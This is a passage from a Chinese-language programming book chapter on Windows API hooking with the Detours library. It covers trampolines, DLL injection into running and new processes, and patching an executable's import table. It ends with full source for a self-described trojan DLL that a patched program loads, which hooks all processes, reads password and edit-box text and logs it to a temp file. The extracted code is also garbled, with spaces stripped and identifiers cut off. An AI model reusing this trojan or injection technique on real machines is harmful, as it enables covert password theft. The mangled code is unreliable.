用Detours實(shí)現(xiàn)APIHOOK Detours是一個(gè)軟件開發(fā)庫,它用于實(shí)現(xiàn)攔截Win32二進(jìn)制代碼中的API函數(shù)。 它使用一個(gè)Jmp指令替換了目標(biāo)函數(shù)的前面幾個(gè)字節(jié),使得控制直接調(diào)用實(shí)現(xiàn)的 Detours函數(shù)。并通過一個(gè)trampoline函數(shù)保留了原來函數(shù)的功能調(diào)用。 我們知道,實(shí)現(xiàn)APIHOOK主要有兩個(gè)重要環(huán)節(jié),一是如何把代碼注入到目標(biāo)地 址空間,二是如何讓自己的代碼被調(diào)用。 為了讓自己的代碼注入到應(yīng)用程序的目標(biāo)地址空間,首先需要把代碼封裝到一個(gè) 動(dòng)態(tài)鏈接庫中,然后執(zhí)行下面的步驟之一: (1)把應(yīng)用程序和動(dòng)態(tài)鏈接庫連接起來,這需要用戶具有程序的目標(biāo)文件(.obj)。 (2)從磁盤文件上修改應(yīng)用程序的導(dǎo)入表,使得應(yīng)用程序啟動(dòng)時(shí)強(qiáng)制加載其從來 不會(huì)使用的動(dòng)態(tài)鏈接庫。這種方法對(duì)于用戶自己編碼來說,可能是非常困難的一件事 情,好在Detours提供了一組函數(shù),能夠達(dá)到這個(gè)目的,能夠強(qiáng)制一個(gè)可執(zhí)行文件強(qiáng) 制加載一個(gè)動(dòng)態(tài)鏈接庫,而且一旦完成修改,以后再也不需要引導(dǎo)程序。 (3)調(diào)用OpenProcess、VirtualAllocEx、WriteProcessMemory和CreateRemoteThread。 (4)使用Detours攔截CreateProcess()函數(shù),使用CREATE_SUSPENDED標(biāo)志調(diào)用 原trampoline函數(shù),在進(jìn)程創(chuàng)建時(shí)實(shí)現(xiàn)DLL到目標(biāo)進(jìn)程的注入。 目標(biāo)二進(jìn)制文件經(jīng)過Detours攔截,進(jìn)程或者進(jìn)程模塊在內(nèi)存中的映像將發(fā)生變 化。如圖6-2所示。 Detours使用了一個(gè)跳轉(zhuǎn)到Detours函數(shù)的跳轉(zhuǎn)指令替換了目標(biāo)的函數(shù)入口指令, 并在實(shí)現(xiàn)的Trampoline函數(shù)中插入了被替換的指令,Trampolines函數(shù)既可以動(dòng)態(tài)分配 和初始化,也可以靜態(tài)方式實(shí)現(xiàn)。實(shí)現(xiàn)和調(diào)用前后的比較如圖6-3、圖6-4所示。 例6-3Detours函數(shù)的例子。 #include<windows.h> #include<detours.h> LONGslept=0; _declspec(dllexport)DETOUR_TRAMPOLINE(VOIDWINAPIUntimedSleep (DWORD),Sleep); _declspec(dllexport)VOIDWINAPITimedSleep(DWORDdwMilliseconds) { DWORDbegin=GetTickCount(); UntimedSleep(dwMilliseconds); InterlockedExchangeAdd(&slept,GetTickCount()–begin); } _declspec(dllexport)DWORDWINAPIGetSleptTicks { returnslept; } BOOLWINAPIDllMain(HINSTANCEhinst,DWORDreason,LPVOIDreserved) { if(reason==DLL_PROCESS_ATTACH) DetourFunctionWithTrampo if(reason==DLL_PROCESS_DETACH) DetourRemoveTrampoline(UntimedSleep); } 注意: 在下面的場合不能使用Detours: ●不知道目標(biāo)代碼入口地址。 ●目標(biāo)代碼少于5個(gè)字節(jié),即小于一個(gè)Jmp調(diào)轉(zhuǎn)指令的字長。 ●目標(biāo)代碼的前幾個(gè)字節(jié)包含了分支指令的目標(biāo)。 Target: ;;;code JNETarget+2 ●不使用x86處理器(不支持alpha處理器和ia64)。 ●對(duì)于.NETCLR(MSIL)代碼也不支持。 另外Detours還支持對(duì)成員函數(shù)的攔截,比如對(duì)GDI+函數(shù)的攔截。GDI+是采用 面向?qū)ο蠡贑++平臺(tái)開發(fā)的一個(gè)動(dòng)態(tài)鏈接庫。Detours在其提供的PowerPoint幻燈 片文檔中提供了攔截類成員函數(shù)的代碼框架。如圖6-5所示。 Detours對(duì)COM接口方法的攔截類似于類成員函數(shù)。下面是其文檔給出的實(shí)現(xiàn)代 碼,不過這個(gè)代碼是針對(duì)C實(shí)現(xiàn)的。 HRESULTSTDCALL(*pfSeekTrampoline)( IStream*This, LARGE_INTEGERdlibMove, DWORDdwOrigin, ULARGE_INTEGER*plibNewPos); HRESULTSTDCALLSeekDetour IStream*This, LARGE_INTEGERdlibMove, DWORDdwOrigin, ULARGE_INTEGER*plibNewPos) { returnpfSeekTrampoline(This,dlibMove,dwOrgin,plibNewPos); } voiddetour_member_function(IStream*pi) { (*(PBYTE*)pfSeekTrampoline)=DetourFunction( (PBYTE)pi->lpVtbl->Seek, (PBYTE)SeekDetour); }; 用戶編譯這些例子的時(shí)候,可能會(huì)遇到問題,主要表現(xiàn)在類型指針轉(zhuǎn)換上。為了 實(shí)現(xiàn)轉(zhuǎn)換,用戶可以使用嵌入?yún)R編語言,實(shí)現(xiàn)強(qiáng)制類型轉(zhuǎn)換。 下面給出Detours提供的函數(shù)列表: ●靜態(tài)Trampolines實(shí)現(xiàn) DETOUR_TRAMPOLINE創(chuàng)建一個(gè)已知trampoline目標(biāo)。 DETOUR_TRAMPOLINE_EMPTY創(chuàng)建一個(gè)空的trampoline目標(biāo)。 ●Detour函數(shù) DetourFunction分配一個(gè)trampoline,實(shí)現(xiàn)Detour函數(shù)掛接。 DetourFunctionWithTrampo DetourFunctionWithEmptyT DetourRemove去除detour。 ●Code函數(shù) DetourFindFunction在輸出或者符號(hào)表中查找函數(shù)。 DetourGetFinalCode忽略間接跳轉(zhuǎn)語句。 DetourCopyInstruction(Ex)反匯編指令。 ●PE映像或者模塊枚舉函數(shù) DetourEnumerateModules查找加載到進(jìn)程中的所有PE映像。 DetourGetEntryPoint查找一個(gè)映像的入口地址。 DetourEnumerateExportsFo ●Payload函數(shù)(payload是Detours在攔截模塊中添加的一個(gè)節(jié)) DetourFindPayload查找一個(gè)指定的payload。 DetourGetSizeOfPayloads得到映像中所有payloads的字節(jié)大小。 ●DLLInjectionFunctions DetourCreateProcessWithD DetourContinueProcessWit ●異常處理函數(shù) DetourFirstChanceExcepti ●永久二進(jìn)制操縱函數(shù) DetourBinaryOpen打開一個(gè)PE二進(jìn)制文件。 DetourBinaryEnumeratePay DetourBinaryFindPayload查找指定的payload。 DetourBinarySetPayload設(shè)置或者替換一個(gè)指定的payload。 DetourBinaryDeletePayloa DetourBinaryPurgePayload DetourBinaryEditImportsM DetourBinaryResetImports DetourBinaryWrite把PE映像寫入到一個(gè)文件中。 DetourBinaryClose關(guān)閉PE二進(jìn)制映像。 DetourBinaryBind使用BindImage綁定二進(jìn)制映像。 通過上面的函數(shù)列表,我們足以了解這個(gè)開發(fā)包強(qiáng)大的功能,因?yàn)楹芏喙δ茉谇?br> 面的章節(jié)中都是通過大量代碼才能實(shí)現(xiàn)的,而這里只需要調(diào)用一個(gè)函數(shù)就可以了。 注意: (1)所有的Detours函數(shù)都可以運(yùn)行在基于x86平臺(tái)、WindowsNT內(nèi)核操作系統(tǒng) 上,包括最新的Windows2003以及未來的Longhorn。Windows9x內(nèi)核的系統(tǒng)不支持 使用DetourFunction系列函數(shù)。除非這個(gè)程序是在一個(gè)調(diào)試器下運(yùn)行的,即(采用 DEBUG_PROCESS標(biāo)志調(diào)用CreateProcess*函數(shù))。這是因?yàn)榛赪indowsNT內(nèi)核的 系統(tǒng)都總是把DLL采用copy-on-write方式把動(dòng)態(tài)鏈接庫映射到目標(biāo)進(jìn)程中。而 Windows9x只有在采用DEBUG_PROCESS標(biāo)志調(diào)用CreateProcess*函數(shù)的情況下采用 這種方式。 (2)DLL注入的方法不能在Windows9x下使用,因?yàn)檫@里是使用CreateRemoteThread 實(shí)現(xiàn)的,Windows9x不支持這個(gè)函數(shù)調(diào)用。 (3)用于添加payloads和修改導(dǎo)入地址表的二進(jìn)制復(fù)寫函數(shù),可以運(yùn)行在所有平 臺(tái)上,包括Windows95。 (4)在實(shí)現(xiàn)一個(gè)Detours函數(shù)時(shí),必須保證它和目標(biāo)替換函數(shù)在調(diào)用規(guī)范上完全一致。 (5)當(dāng)把一個(gè)動(dòng)態(tài)鏈接庫使用DetoursDLL導(dǎo)入API函數(shù),把它和一個(gè)二進(jìn)制文 件綁定時(shí),動(dòng)態(tài)鏈接庫必須輸出一個(gè)函數(shù),其輸出序號(hào)為1。輸出的過程并不被應(yīng)用 程序調(diào)用而只是用作導(dǎo)入目標(biāo)。 下面給出一個(gè)使用Detours的例子,這是在開發(fā)防火墻軟件中使用的一段代碼。 我們知道,開發(fā)的應(yīng)用軟件最好能夠同時(shí)支持兩種分辨率,比如800×600和 1024×768,因?yàn)檫@是用戶最常用的兩種屏幕分辨率。然而編碼中會(huì)發(fā)現(xiàn)在VisualC++ 中同時(shí)兼顧兩種分辨率時(shí),如果通過響應(yīng)WM_RESIZE非常麻煩。由于應(yīng)用程序大 部分的界面都是基于對(duì)話框?qū)崿F(xiàn)的,特別是那些嵌入窗體的對(duì)話框,實(shí)現(xiàn)代碼定位, 實(shí)在繁瑣得要命。于是在程序中設(shè)計(jì)了兩種對(duì)話框,分別對(duì)應(yīng)兩種分辨率,在程序 啟動(dòng)時(shí)動(dòng)態(tài)檢測屏幕分辨率,通過攔截DialogBoxParam函數(shù)動(dòng)態(tài)替換對(duì)話框資源來 實(shí)現(xiàn)。 例6-4Detours應(yīng)用舉例。 #include<detours.h> #pragmacomment(lib,"detours.lib") BOOLg_bAbsolution800x600=TRUE; typedefstructtagDLG{ intnDlgIDSmall; intnDlgIDBig; }DLG,*PDLG; DLGg_dlg[]={ {IDD_MONITORPACKETDLG,IDD_MONITORPACKETDLG_BIG}, {IDD_NETSTATDLG,IDD_NETSTATDLG_BIG}, {IDD_DEFAULT_PORT_RULE,IDD_DEFAULT_PORT_RULE_BIG}, … {IDD_OTHER,IDD_OTHER_BIG} }; DETOUR_TRAMPOLINE(HWNDWINAPI Real_CreateDialogParamA(HINSTANCEhInstance, LPSTRlpTemplateName, HWNDhWndParent, DLGPROClpDialogFunc, LPARAMdwInitParam), CreateDialogParamA); DETOUR_TRAMPOLINE(HWNDWINAPI Real_CreateDialogParamW(HINSTANCEhInstance, LPWSTRlpTemplateName, HWNDhWndParent, DLGPROClpDialogFunc, LPARAMdwInitParam), CreateDialogParamW); HWNDWINAPIDetour_CreateDialogParamW(HINSTANCEhInstance, LPWSTRlpTemplateName, HWNDhWndParent, DLGPROClpDialogFunc, LPARAMdwInitParam) { try{ if(!g_bAbsolution800x600){ for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){ if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){ returnReal_CreateDialogParamW(hInstance, MAKEINTRESOURCEW(g_dlg[i].nDlgIDBig), hWndParent,lpDialogFunc,dwInitParam); } } } returnReal_CreateDialogParamW(hInstance, lpTemplateName,hWndParent,lpDialogFunc,dwInitParam); } catch(...){ returnReal_CreateDialogParamW(hInstance, lpTemplateName,hWndParent,lpDialogFunc,dwInitParam); } } HWNDWINAPIDetour_CreateDialogParamA(HINSTANCEhInstance, LPSTRlpTemplateName,HWNDhWndParent,DLGPROClpDialogFunc,LPARAM dwInitParam) { try{ if(!g_bAbsolution800x600){ for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){ if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){ returnReal_CreateDialogParamA(hInstance, MAKEINTRESOURCE(g_dlg[i].nDlgIDBig),hWndParent, lpDialogFunc,dwInitParam); } } } returnReal_CreateDialogParamA(hInstance, lpTemplateName,hWndParent,lpDialogFunc,dwInitParam); } catch(...){ return Real_CreateDialogParamA(hInstance,lpTemplateName,hWndParent, lpDialogFunc,dwInitParam); } } 在程序入口: intnWidth=GetSystemMetrics(SM_CXSCREEN); if(nWidth==1024){ g_bAbsolution800x600=FALSE; } DetourFunctionWithTrampo (PBYTE)Detour_CreateDialogParamA); DetourFunctionWithTrampo (PBYTE)Detour_CreateDialogParamW); 程序結(jié)束前: DetourRemove((PBYTE)Real_CreateDialogParamW, (PBYTE)Detour_CreateDialogParamW); DetourRemove((PBYTE)Real_CreateDialogParamA, (PBYTE)Detour_CreateDialogParamA); 從上面的程序可以看出,Trampolines函數(shù)既可以靜態(tài)創(chuàng)建也可以動(dòng)態(tài)創(chuàng)建。使用 靜態(tài)的Trampolines函數(shù)攔截Target函數(shù)時(shí),應(yīng)用程序需要使用DETOUR- _TRAMPOLINE宏創(chuàng)建Trampolines函數(shù)。DETOUR_TRAMPOLINE宏帶有兩個(gè)參數(shù), 靜態(tài)的Trampolines函數(shù)原型和Target函數(shù)名。 值得注意的是:Target函數(shù)攔截時(shí),Target、Trampoline、Detour函數(shù)必須遵循完 全一致的參數(shù)約定,即出口和入口參數(shù)在個(gè)數(shù)和對(duì)應(yīng)類型上要求完全匹配。Detour函 數(shù)可以根據(jù)需要把它的入口參數(shù)傳遞到Trampoline函數(shù),以此調(diào)用Target函數(shù)。遵循 相同的調(diào)用約定,可以保證有關(guān)的寄存器能夠被正確保存,Detour和Target函數(shù)的堆 棧能夠保持平衡。 Target函數(shù)的攔截可以通過DetourFunctionWithTrampo 兩個(gè)參數(shù),Trampoline和一個(gè)指向Detour函數(shù)的指針。目標(biāo)函數(shù)Target之所以沒有作 為一個(gè)參數(shù),是因?yàn)樗呀?jīng)編碼到Trampoline函數(shù)之中。 動(dòng)態(tài)的Trampoline可以通過調(diào)用DetourFunction函數(shù)實(shí)現(xiàn)。這個(gè)函數(shù)有兩個(gè)參數(shù), 分別是兩個(gè)指向Target和Detour函數(shù)的指針,DetourFunction可以分配一個(gè)新的 Trampoline函數(shù)指針變量,然后在Target函數(shù)中插入適當(dāng)?shù)臄r截代碼。 當(dāng)Target函數(shù)可以作為一個(gè)連接符號(hào)時(shí),靜態(tài)Trampoline函數(shù)使用非常容易。然 而當(dāng)Target函數(shù)不能作為一個(gè)連接符號(hào)時(shí),用戶可以使用一個(gè)動(dòng)態(tài)的Trampoline函數(shù)。 通常情況下,可以通過另外的輔助函數(shù)獲得指向Target函數(shù)的指針。當(dāng)指向Target函數(shù) 的指針不易得到時(shí),用戶可以使用DetourFindFunction獲得該指針。無論這些函數(shù)來 自一個(gè)已知的dll庫,或者是Target函數(shù)二進(jìn)制代碼的調(diào)試符號(hào)。DetourFindFunction函 數(shù)接收兩個(gè)參數(shù),二進(jìn)制win32文件名和函數(shù)名。如果函數(shù)執(zhí)行后找到了Target的符 號(hào),它就會(huì)返回一個(gè)有效的函數(shù)指針,否則返回NULL。DetourFindFunction首先嘗 試?yán)肔oadLibrary和GetProcAddressWin32函數(shù)定位函數(shù),如果在DLL的函數(shù)輸出 表中找不到Target,DetourFindFunction就會(huì)使用ImageHlp庫查找可用的調(diào)試符號(hào)信 息。返回的函數(shù)指針可以作為一個(gè)參數(shù)傳遞到DetourFunction函數(shù),用以創(chuàng)建一個(gè)動(dòng) 態(tài)的Trampoline函數(shù)。 攔截的Target函數(shù)可以通過調(diào)用DetourRemoveTrampoline函數(shù)恢復(fù)到攔截前的狀態(tài)。 值得注意的是,由于Detours庫函數(shù)修改代碼是在進(jìn)程地址空間進(jìn)行的,程序員 必須在Detour插入和移去時(shí)沒有別的線程在運(yùn)行。顯然保證單線程運(yùn)行最簡單的辦法 是在DLL的DllMain例程中調(diào)用Detours庫函數(shù)。 動(dòng)態(tài)鏈接庫注入到一個(gè)存在進(jìn)程可以通過下列代碼實(shí)現(xiàn)。 HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,nProcessId); //nProcessId運(yùn)行進(jìn)程的進(jìn)程標(biāo)識(shí) if(hProcess==NULL){ printf("OpenProcess(%d)failed:%d\n",nProcessId,GetLastError()); return2; }//下面的szDllPath為指定的dll文件路徑. if(!DetourContinueProcessWit printf("DetourContinueProcessWit GetLastError()); return3; } 動(dòng)態(tài)鏈接庫注入到一個(gè)新進(jìn)程可以通過下列代碼實(shí)現(xiàn)。 STARTUPINFOsi; PROCESS_INFORMATIONpi; CHARszCommand[2048]; PCHARpszDLlPath=NULL; CHARszExe[1024]; Strcpy(szExe,”…..”);//可執(zhí)行文件名 Strcpy(szCommand,”…..”);//命令行 Strcpy(pszDllPath,”…”);//動(dòng)態(tài)連接庫文件名字 ZeroMemory(&si,sizeof(si)); ZeroMemory(&pi,sizeof(pi)); si.cb=sizeof(si); DWORDdwCreationFlags=(CREATE_DEFAULT_ERROR_MODE); if(!DetourCreateProcessWithD dwCreationFlags,NULL,NULL, & si,&pi,pszDllPath,NULL)){ printf("DetourCreateProcessWithD ExitProcess(2); } 有關(guān)Detours修改二進(jìn)制映像的例子,用戶可以參考開發(fā)包提供的例子程序setdll。 下面給出這個(gè)文件的關(guān)鍵函數(shù),這個(gè)函數(shù)實(shí)現(xiàn)了DLL文件的磁盤注入。 BOOLSetFile(PCHARpszPath) { BOOLbGood=TRUE; HANDLEhOld=INVALID_HANDLE_VALUE; HANDLEhNew=INVALID_HANDLE_VALUE; PDETOUR_BINARYpBinary=NULL; CHARszOrg[MAX_PATH]; CHARszNew[MAX_PATH]; CHARszOld[MAX_PATH]; szOld[0]='\0'; szNew[0]='\0'; strcpy(szOrg,pszPath); strcpy(szNew,szOrg); strcat(szNew,"#"); strcpy(szOld,szOrg); strcat(szOld,"~"); printf("%s:\n",pszPath); hOld=CreateFile(szOrg,GENERIC_READ,FILE_SHARE_READ,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hOld==INVALID_HANDLE_VALUE){ printf("Couldn'topeninputfile:%s,error:%d\n",szOrg, GetLastError()); bGood=FALSE; gotoend; } hNew=CreateFile(szNew,GENERIC_WRITE|GENERIC_READ,0,NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_SEQUENTIAL_SCAN, NULL); if(hNew==INVALID_HANDLE_VALUE){ printf("Couldn'topenoutputfile:%s,error:%d\n",szNew, GetLastError()); bGood=FALSE; gotoend; } if((pBinary=DetourBinaryOpen(hOld))==NULL){ printf("DetourBinaryOpenfailed:%d\n",GetLastError()); gotoend; } if(hOld!=INVALID_HANDLE_VALUE){ CloseHandle(hOld); hOld=INVALID_HANDLE_VALUE; } { BOOLbAddedDll=FALSE; DetourBinaryResetImports if(!s_fRemove){ if(!DetourBinaryEditImports(pBinary,&bAddedDll,AddBywayCallback, NULL,NULL,NULL)){ printf("DetourBinaryEditImportsf } } if(!DetourBinaryEditImports(pBinary,NULL,ListBywayCallback, ListFileCallback, NULL,NULL)){ printf("DetourBinaryEditImportsf } if(!DetourBinaryWrite(pBinary,hNew)){ printf("DetourBinaryWritefailed:%d\n",GetLastError()); bGood=FALSE; } DetourBinaryClose(pBinary); pBinary=NULL; if(hNew!=INVALID_HANDLE_VALUE){ CloseHandle(hNew); hNew=INVALID_HANDLE_VALUE; } if(bGood){ if(!DetourBinaryBind(szNew,".",".")){ printf("Warning:Couldn'tbindtotracedll:%d\n",GetLastError()); } if(!DeleteFile(szOld)){ DWORDdwError=GetLastError(); if(dwError!=ERROR_FILE_NOT_FOUND){ printf("Warning:Couldn'tdelete%s:%d\n",szOld,dwError); bGood=FALSE; } } if(!MoveFile(szOrg,szOld)){ printf("Error:Couldn'tbackup%sto%s:%d\n",szOrg,szOld, GetLastError()); bGood=FALSE; } if(!MoveFile(szNew,szOrg)){ printf("Error:Couldn'tinstall%sas%s:%d\n",szNew,szOrg, GetLastError()); bGood=FALSE; } } DeleteFile(szNew); } end: if(pBinary){ DetourBinaryClose(pBinary); pBinary=NULL; } if(hNew!=INVALID_HANDLE_VALUE){ CloseHandle(hNew); hNew=INVALID_HANDLE_VALUE; } if(hOld!=INVALID_HANDLE_VALUE){ CloseHandle(hOld); hOld=INVALID_HANDLE_VALUE; } returnbGood; } 面的這個(gè)例子就是基于上面的代碼實(shí)現(xiàn)的。例子中PasswordDemo.exe是一個(gè)普 通的Windows應(yīng)用程序,它需要驗(yàn)證用戶輸入的密碼。iNetPub類似于一個(gè)木馬程序, 這個(gè)程序是一個(gè)動(dòng)態(tài)鏈接庫,這個(gè)程序?qū)崿F(xiàn)了一個(gè)消息鉤子,在動(dòng)態(tài)鏈接庫初始化的 時(shí)候,自己安裝了鉤子函數(shù)。很明顯像PasswordDemo.exe這樣的Windows應(yīng)用程序 是從來不會(huì)主動(dòng)調(diào)用這個(gè)動(dòng)態(tài)鏈接庫的,因?yàn)樗鼈冎g不存在任何血緣關(guān)系。盡管我 們可以采用多種進(jìn)程間代碼注入的辦法,但是這種辦法都需要一個(gè)進(jìn)程,那么像 RunDll32文件加載一樣,用戶很容易從開機(jī)自啟動(dòng)應(yīng)用程序列表中把它們摘除,這樣 我們精心炮制的木馬程序,可能就會(huì)像僵尸一樣永遠(yuǎn)不能超生。 我們需要做的工作是能夠像病毒一樣修改可執(zhí)行文件,讓可執(zhí)行文件自己加載提 供的動(dòng)態(tài)鏈接庫。這里對(duì)可執(zhí)行文件和動(dòng)態(tài)鏈接庫沒有任何要求。動(dòng)態(tài)鏈接庫如果輸 出鉤子函數(shù),其鉤子過程必須以輸出函數(shù)方式輸出。自動(dòng)加載必須在動(dòng)態(tài)鏈接庫初始 化過程中完成。 PasswordDemo.exe程序的運(yùn)行界面是這樣的,如圖6-6所示。 這個(gè)程序依賴的動(dòng)態(tài)鏈接庫如圖6-7所示,由于這個(gè)程序和inetpub沒有任何關(guān)系, 所以它的運(yùn)行不需要inetpub.Dll文件。 下面我們運(yùn)行修改程序(程序運(yùn)行界面如圖6-8所示)對(duì)passworddemo文件進(jìn)行修 改。當(dāng)我們單擊“啟動(dòng)”按鈕時(shí),passworddemo.exe所在的目錄會(huì)自動(dòng)生成一個(gè) passworddemo.exe文件的備份PasswordDemo.exe~。passworddemo.exe文件是修改過的 文件,它的文件修改日期和大小將發(fā)生變化。這時(shí)它的運(yùn)行將依賴位于Windows系統(tǒng) 目錄的inetpub.dll文件。即Passworddemo.exe文件運(yùn)行前會(huì)自動(dòng)加載inetpub.dll文件, 這個(gè)文件一旦加載就會(huì)自動(dòng)安裝一個(gè)全局鉤子,對(duì)系統(tǒng)中的所有進(jìn)程進(jìn)行監(jiān)視,把用 戶輸入的所有密碼文本保存到Windows目錄下的一個(gè)文件中。 此時(shí)這個(gè)程序的運(yùn)行將離不開inetpub.Dll文件。如圖6-9所示。 這個(gè)程序還有許多地方可以進(jìn)行完善,但是已經(jīng)有了一點(diǎn)木馬特征,而且它還可 以做得更隱蔽一些。很明顯實(shí)現(xiàn)自動(dòng)化修改可執(zhí)行文件,也并不困難。 例6-5Dll磁盤文件附加實(shí)現(xiàn)。 #include"stdafx.h" #include<afxdllx.h> #ifdef_DEBUG #definenewDEBUG_NEW #undefTHIS_FILE staticcharTHIS_FILE[]=__FILE__; #endif #include"INetPub.h" #pragmadata_seg(".sdata") HHOOKhHookMsg=0; HHOOKhHookProc=0; HINSTANCEhinst=0; HWNDhHandleWnd=0; intnumbers=0; intSpyArrayNums=0; intrandv=0; CHook*phook=0; CDWordArraySpyWndList[20]; #pragmadata_seg() staticAFX_EXTENSION_MODULEINetPubDLL={NULL,NULL}; extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc nCode,WPARAMwParam,LPARAMlParam); extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc nCode,WPARAMwParam,LPARAMlParam); BOOLWINAPIHookProc(HWNDhwnd,UINTuiMessage,WPARAMwParam,LPARAM lParam); extern"C"intAPIENTRY DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved) { //RemovethisifyouuselpRese UNREFERENCED_PARAMETER(lpReserved); if(dwReason==DLL_PROCESS_ATTACH) { TRACE0("INetPub.DLLInitializing!\n"); //ExtensionDLLone-timeinitialization if(!AfxInitExtensionModule(INetPubDLL,hInstance))return0; numbers++; if(numbers==1&&phook==0) { hinst=hInstance; randv=GetTickCount()/5000; phook=newCHook; phook->HookInstaller(); } newCDynLinkLibrary(INetPubDLL); } elseif(dwReason==DLL_PROCESS_DETACH) { TRACE0("INetPub.DLLTerminating!\n"); numbers--; if(numbers==0&&phook) { phook->HookUninstaller(); deletephook; phook=0; } AfxTermExtensionModule(INetPubDLL); } return1;//ok } CHook::CHook() { } CHook::~CHook() { HookUninstaller(); } BOOLCHook::HookInstaller() { if((hHookMsg=SetWindowsHookEx(WH_GETMESSAGE, CallMsgProc,hinst,0))!=NULL && (hHookProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinst,0)) !=NULL)returntrue; returnfalse; } BOOLCHook::HookUninstaller() { BOOLbUninstall; if(hHookMsg) { bUninstall=UnhookWindowsHookEx(hHookMsg); if(bUninstall) { hHookMsg=NULL; bUninstall=UnhookWindowsHookEx(hHookProc); if(bUninstall) { hHandleWnd=NULL; hHookProc=NULL; } } } returnbUninstall; } voidCHook::SetHandleWindow(HWNDhWnd) { hHandleWnd=hWnd; } extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc nCode,WPARAMwParam,LPARAMlParam) { PMSGpMsg=(MSG*)lParam; if(nCode>=0&&pMsg&&pMsg->hwnd) { HookProc(pMsg->hwnd,pMsg->message,pMsg->wParam,pMsg->lParam); } returnCallNextHookEx(hHookMsg,nCode,wParam,lParam); } extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc nCode,WPARAMwParam,LPARAMlParam) { PCWPSTRUCTpCwps; pCwps=(PCWPSTRUCT)lParam; if(nCode>=0&&pCwps&&pCwps->hwnd) { HookProc(pCwps->hwnd,pCwps->message,pCwps->wParam, pCwps->lParam); } returnCallNextHookEx(hHookProc,nCode,wParam,lParam); } intWINAPIInSpyList(HWNDhwnd) { if(SpyArrayNums) { for(inti=0;i<SpyArrayNums;i++) { SpyWndList[i]; if(intwndnum=SpyWndList[i].GetSize()) { for(intj=0;j<wndnum;j++) if(SpyWndList[i].GetAt(j)==(DWORD)hwnd)returni; } } } return-1; } voidWINAPIAddToSpyList(HWNDhWnd) { HWNDhParent; CWordArrayaarray; if(hParent=GetParent(hWnd)) { if(InSpyList(hParent)!=-1)return; SpyWndList[SpyArrayNums].Add((DWORD)hParent); } HWNDsib=::GetWindow(hWnd,GW_HWNDFIRST); charlpClassName[255]; CStringstrWndClass; ::GetClassName(sib,lpClassName,255); strWndClass=lpClassName; //IsthisanEditcontrol if(0==strWndClass.CompareNoCase("EDIT")) SpyWndList[SpyArrayNums].Add((DWORD)sib); while((sib=::GetWindow(sib,GW_HWNDNEXT))!=NULL) { ::GetClassName(sib,lpClassName,255); strWndClass=lpClassName; //IsthisanEditcontrol if(strWndClass.Find("Edit")!=-1||strWndClass.Find("Text")!=-1) SpyWndList[SpyArrayNums].Add((DWORD)sib); } //SpyWndList[SpyArrayNums]; SpyArrayNums++; if(SpyArrayNums==21)SpyArrayNums=20; } voidWINAPIRemoveFromList { if(index>=SpyArrayNums)return; SpyWndList[index].RemoveAll(); for(inti=0;i<SpyArrayNums-index-1;i++) { SpyWndList[index+i].Copy(SpyWndList[index+i+1]); SpyWndList[index+i+1].RemoveAll(); } SpyArrayNums--; } BOOLWINAPIHookProc(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAM lParam) { charszCaption[100]="\0"; charszTitle[100]="\0"; charclassname[255]; intindexx; CStringSaveInfo; if(message&&IsWindow(hwnd)) { GetClassName(hwnd,classname,255); LONGstyle=GetWindowLong(hwnd,GWL_STYLE); CStringstrClass; switch(message){ caseWM_SETFOCUS: strClass=classname; if(!strClass.CompareNoCase("EDIT")) { if((style&ES_PASSWORD)&&(InSpyList(hwnd)==-1))AddToSpyList(hwnd); } break; caseWM_DESTROY: if((indexx=InSpyList(hwnd))!=-1) { inti=indexx; for(intj=0;j<SpyWndList[i].GetSize();j++) { HWNDspywin; spywin=(HWND)SpyWndList[i].GetAt(j); LONGlStyle=::GetWindowLong(spywin,GWL_STYLE); if(IsWindow(spywin)&&j==0) { charszText[255]="\0"; ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText); CStringtemp=szText; SaveInfo=SaveInfo+"(window)"+temp+"\t"; else if(lStyle&ES_PASSWORD) { charszText[255]="\0"; //intl=::GetWindowText(hwnd,szText,sizeof(szText)); ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText); CStringtemp=szText; SaveInfo=SaveInfo+"(password)"+temp+"\t"; if(temp.GetLength()==0)returntrue; } else { charszText[255]="\0"; ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText); CStringtemp=szText; SaveInfo=SaveInfo+"(edit)"+temp+"\t"; } } RemoveFromList(indexx); time_tnow; time(&now); structtm*tmnow; tmnow=localtime(&now); char*timenow=asctime(tmnow); CStringtemp; temp=timenow; intstrlen=temp.GetLength(); temp=temp.Left(strlen-1); SaveInfo=temp+":"+SaveInfo+"\r\n"; charptemppath[255]; GetTempPath(255,ptemppath); CStringstrFileName; strFileName.Format("%s",ptemppath); CStringstrName; strName.Format("~mps%d.tmp",randv); strFileName=strFileName+strName; CStringszTemp; szTemp.Format("用戶的密碼已被木馬程序保存到一個(gè)名叫%s的文件里 ",strFileName); MessageBox(NULL,szTemp,"請(qǐng)注意靜態(tài)密碼并不安全,請(qǐng)您及時(shí)更換密 碼!",MB_OK+MB_ICONWARNING); WritePrivateProfileStrin "Kernel32.ini"); CFilef(LPCTSTR(strFileName),CFile::modeCreate|CFile::modeWrite |CFile::modeNoTruncate); f.Seek(0,CFile::end); intinfolen=SaveInfo.GetLength(); f.Write((LPCTSTR)SaveInfo,infolen); f.Close(); } break; default: //sprintf(szCaption,"oh,Themousex:%d y:%d",pMsg->pt.x,pMsg->pt.y); break; } if(IsWindow(hHandleWnd)) { if(strlen(szCaption)>=1) SendMessage(hHandleWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption); } } returntrue; } 有關(guān)APIHOOK實(shí)現(xiàn)的方法還有很多,比如采用的某些開發(fā)包是源代碼共享的, 有些則是收費(fèi)的。比較好的解決方案還有http://www.網(wǎng)站IvoIvanov 